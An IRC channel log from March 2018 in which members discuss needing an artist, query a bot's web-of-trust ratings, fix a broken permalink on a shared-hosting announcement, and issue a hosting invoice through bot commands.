mircea_popescu: someone should prolly make some themes for these...
mircea_popescu: in fact, there is a TON of work for a competent art guy. eulora needs stuff ; i want to get a porny comic off the ground ; mp-wp needs theme work...
mircea_popescu: anyone know a starving artist that's ACTUALLY GOOD ?
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318265 << well it's one of the few places accessible from the internet where anyone actually reads anything. that's kinda why.
mimisbrunnr: Logged on 2018-03-23 16:22 douchebag: I don't see why every single thing that happens in this channel has to turn into some big ordeal
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318278 << what, all it does is he can't auto-up anymore, no need to auto-devoice is there.
mimisbrunnr: Logged on 2018-03-23 16:26 asciilifeform: um trinque ?
mircea_popescu: !!gettrust douchebag
deedbot: L1: 1, L2: -1 by 3 connections.
mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318281 lel
mimisbrunnr: Logged on 2018-03-23 16:26 deedbot: L1: -1, L2: 3 by 3 connections.
mircea_popescu: trinque there's something amiss here ; i see 4 ratings from 4 people in teh l1, how can it be +1 ? should be 0 no ?
trinque: !!gettrust deedbot douchebag
deedbot: L1: 0, L2: 0 by 4 connections.
mircea_popescu: ah ok
trinque: that was measured from herr alf
mircea_popescu: oh i see
mircea_popescu: makes sense.
mircea_popescu: anyway douchebag come up with something interesting, i'll voice you so you can announce it.
mircea_popescu: ben_vulpes plox put a favicon on your log site, i can't pick it out of the tabline.
ben_vulpes: mircea_popescu: ack
deedbot: http://pizarroisp.net/index.php/2018/03/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ << PizzaroISP - Pizarro Shared Hosting - a screaming deal for 0.003 BTC/mo!
diana_coman: uhm, page not found? link should be http://pizarroisp.net/pizarro-shared-hosting-a-screaming-deal-for-0003-btcmo/ (without index.php)
ben_vulpes: i did not realize that previously published permalinks would break when switching to the slug
ben_vulpes: aight well i switched it back for now but that's awful and will have to get fixed
mircea_popescu: i dun think they break, you got some other bug in there.
mircea_popescu: pizarro.net/pi also 404s, for instance
ben_vulpes: aaayup
ben_vulpes: well once we have hanbot up and running with an mp-wp produced from her patches i'll move this over to that setup
ben_vulpes: !!invoice danielpbarron .00077419 8 prorated days of shared hosting (march)
deedbot: Get your OTP: http://p.bvulpes.com/pastes/mwF1J/?raw=true
ben_vulpes: !!v D36B2DA16801DD29974345218BE070ADF8EF027B47EF75F04DC3F8D6457F9B5E
deedbot: Invoiced danielpbarron .00077419 << 8 prorated days of shared hosting (march)
ben_vulpes: !!key danielpbarron
deedbot: http://wot.deedbot.org/155934BDD16E8EAF4493CB9CB36AE9849D961AC9.asc

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